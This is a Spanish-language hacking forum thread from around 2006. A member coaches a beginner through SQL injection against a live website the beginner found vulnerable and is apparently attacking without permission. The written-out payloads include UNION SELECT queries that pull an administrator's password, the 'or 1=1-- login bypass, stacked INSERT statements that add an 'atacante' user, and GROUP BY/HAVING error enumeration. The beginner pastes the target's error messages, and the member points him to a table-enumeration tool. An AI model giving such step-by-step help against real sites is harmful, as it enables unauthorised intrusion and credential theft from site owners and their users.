Tema destacado: Únete al Grupo Steam elhacker.NET
Autor
|
Tema: Pregunta sobre SQL (Leído 3,891 veces)
|
y0mism0
Desconectado
Mensajes: 238
|
Alguien me puede paso por paso que significa eso? SELECT password FROM usuarios WHERE user = ''0 and 0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 Yo lo unico k entiendo es k dice k seleccione el password de la tabla usuarios donde el el user (k supongo k sera un columna).. y a partir de ahi no entiendo lo k resta. No se k significa " 0 and 0 1,2,3,4.... Saludos.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
busca info en el foro de inyeccion SQL y ve la web de la sintaxis de mysql.. pero este te lo explico rapido. SELECT password FROM usuarios WHERE user = ''esta primera parte lo que hace es obtener el password de la tabla usuarios donde el user sea igual a... nada and 0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14esto es primero: and 0para que no regrese ningun resultado el union select es para regresar un resultado de 2 sentencias, esta ves, no hace querys solo, al parecer es para saber que la tabla usuario tiene 14 columnas, pero por ejemplo: union select 1,password,3,4,5,6,7,8,9,0,1,2,3,4 from usuarioste debe regresar en el campo de usuario el password.. te recomiendo buscar sobre inyecciones sql en el foro hay 1 tutorial, y en la web unos mas. Saludos!!
|
|
|
|
« Última modificación: 15 Julio 2006, 00:33 por Sdc »
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
Ya m baje un manual de la web y m lo estoy leyendo, pero no entiendo bien la parte de union select. Segun entiendo yo union select es para unir dos setencias select, y esas 2 setencias tienen k seleccionar el mismo numero de columnas para k se pueda usar union select. x ej: select *from nuke_authors where id=1 and user='nick' union select *from nuke_authors where id=2
Estas dos sentencias select no se podrian unir no?¿? xq la primera selecciona 2 clumnas y la segundo solo una, no es asi?¿?¿
Pero no k si k no entiendo es cuando pone ...union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 o union select 1,password,3,4,5,6,7,8,9,0,1,2,3,4 from usuarios o union select @@version,1,1,1 , xq no se k representas esos numeros, quiero decir el 1,1,1 o 1,2,3,4,5.... Lo k se pone al lado de union select no son los nombres de las columnas, k son entonces esos numeros?¿
Saudos.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
segun entiendo tu duda es sobre que significan los numeros..
solo son para contar las columnas, facilmente puedes usar 0,0,0,0 o 1,1,1,1 que daria la mayoria de las veces el mismo resultado..
select * from nuke_authors where id=1 and user='nick' union select * from nuke_authors where id=2
esa sentencia es valida. te regresaria lo mismo que: select * from nuke_authors where (id=1 and user='nick') or id=2
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
Pero una pregunta Sdc, en select * from nuke_authors where id=1 and user='nick' union select * from nuke_authors where id=2, el operador "union" no esta juntado 2 sentencias k seleccionan a su vez 1 y dos columnas? M explico, la primera sentencia, dice k seleccione de nuke_authors la fila en el k la columna user y la columna id sean "nick" y "1". Mientras k la 2 sentencia k seleccione la fila donde la columna id sea "2". Ya se k son la misma fila, pero en una selecciona dos columnas y en troa 1. 1.Q restriccion tiene el operador "union" entonces? 2. Para k se utiliza para mostrar mensaje de error? 3. Y otra cosa, porke para obtener un pwd ai k comerse tanto el coco y no vasta con poner en la inyeccion : ' select *from nuke_authors, o algo asi.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
1.- SELECT password FROM tabla WHERE columna='uno' AND otra='dos'
regresa solo una columna cuando pones:
SELECT *
regresa todas las columnas.
por lo que select * from nuke_authors where id=1 and user='nick' union select * from nuke_authors where id=2
esta seleccionando la misa cantidad de columnas
2.- para obtener informacion, como nombre de columnas, o incluso valores de campos. 3.- porque no seria una sentencia SQL valida.
Lee sobre mysql, para que puedas entender la sintaxis
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
ok. entendido Sdc, gracias! Estoy leyendo un manual sobre sql, si m surgen mas dudas preguntare.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
Bueno, estoy practicando esta tecnica y tengo unas cuantas preguntas mas: 1.Como sabes cuando una pagina es vulnerable? Te suele avisar si no lo es de k no se permiten ese tipo de inyecciones? Normalmente las webs vulnerables se hace la inyeccion el "?id=" no es asi? 2. tengo un web vulnerable y no m va esta cadena: "'; insert into usuarios values (666, 'atacante', 'foobar', 0xffff)-- ". Me dice "Line 1: Incorrect syntax near ';'. " porke?¿ 3. Cuando kieres hacer una inyeccion en el amdin.php k te pide user y pass, en el user puedes poner el k kieras y en el pass "'or 1=1--"? y si pones en el user "'or 1=1--" y el pass lo dejas en blanco tambien vale, verdad?¿ 4. La web k encontre vulnerable, puedo acer la inyeccion en esta trayectoria: http://laweb.com/howcat.asp?id=, pedo convertirme en admin desde ahi, ya k la tabla a la k esta dirigida la consulta no es nuke_authors ni nada x el estilo. 5. Al poner 'having1=1--, me devuelve "Column 'Tree Data.Name' is invalid in the select list ..". cual es la tabla y la columna. Eske luego pongo "id=' group by Tree Data.Name having 1=1--" y me dice "Incorrect syntax near 'Data'. " Sorry x tantas preguntas Saludos.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
1.- debes probar manualmente o hay algunos escanners, nikto, acunetix, etc.. 2.- no acepta mas de 1 comando el server sql 3.- depende, algunas webs encriptan el password. 4.- Puedes obtener el pass del admin, o la pregunta secreta.. y demas datos. 5.- que server sql es?
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
1.- En k variables se suele probar manualmente? 2. No hay ninguna manera entonces de insertar valores? 3. A q te refieres con cifrar el pass? con md5 ? 4. Y como puedo obtener el pass del admin desde showcat? 5. Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1).
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
1.- en todas.. en cualquiera puede haber una inyección.. si en todas 2.- depende del servidor sql, si es MSSQL o Oracle, etc.. 3.- sip, aunque pueden usar cualquier otro algoritmo. 4.- showcat? te debes referir a la pagina  , con un union select.. mira: SELECT contenido,nombre FROM mitabla WHERE id='' UNION SELECT password,user FROM adminis WHERE id='1' debe regresar en contenido, el password y en nombre el usuario del administrador 1 5.- mmm hubiera leido esto desde el principio.. en el error de: "Incorrect syntax near 'Data'. " debes poner en esa sentencia el nombre de la tabla entre comillas. Y en el error del insert, es porque no especificaste las columnas a las que quieres meter los valores. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
Weno, en primer lugar e averiguado poniendo la tabla entre comillas como me dijiste k las columnas se llaman: Name, Node.ID,ParentID y Header. Entonces pongo : 'group by "Tree Data".Name,"Tree Data".NodeID, "Tree Data".ParentID,"Tree Data".Header having 1=1-- Y m devuelve este error : Microsoft OLE DB Provider for SQL Server error '80040e14' Line 1: Incorrect syntax near '1'. /showcat.asp, line 258 Segun el manual no deberia devolverte ewste error pero weno amos a lo demas.
4. En primer lugar probe lo k me dijiste, : id=' UNION SELECT password,user FROM adminis WHERE id='1' y me devuelve este error: Invalid object name 'adminis'. Es como si no existira la tabla adminis no? K ago entonces?
2. A ver pongo esto : '; insert into "Tree Data" (Name,NodeID,ParentID,Header) values('aaa','2','4','bbb')-- sabiendo k NodeID y ParentID son de tipo int, k falla? M pone el mismo error :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Line 1: Incorrect syntax near ';'.
/showcat.asp, line 258 Saludos.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
4: busca si hay alguna tabla llamada asi. 2: talves tenga algun parentesis, porque no hay error..
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
y0mism0
Desconectado
Mensajes: 238
|
2. Y como busco el nombre de la tabla?Cual es el nombre por defecto de la tabla de autores en este sql server, como es mysql era nuke:authors? Es posible k no alla ninguna tabla k tenga el pass de los admin? eske pongo :laweb.com/admin.php y no m aparece nada...
2. a k te refieres con k tenga algun parentesis, no t entiendo..
Saludos.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
2(1): mmm puedes obtener el nombre de las tablas por diferentes metodos, pero hay una herramienta llamada automagic SQLinjection, esta en este mismo foro, usala para enumerar las tablas  2(2): necesitas ver que en la sintaxis no haya ningun parentesis, por ejemplo: SELECT * FROM tabla WHERE (id=''; esta mal, porque no cerraste parentesis, deberia ser asi: SELECT * FROM tabla WHERE (id=''); etc.. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
|
|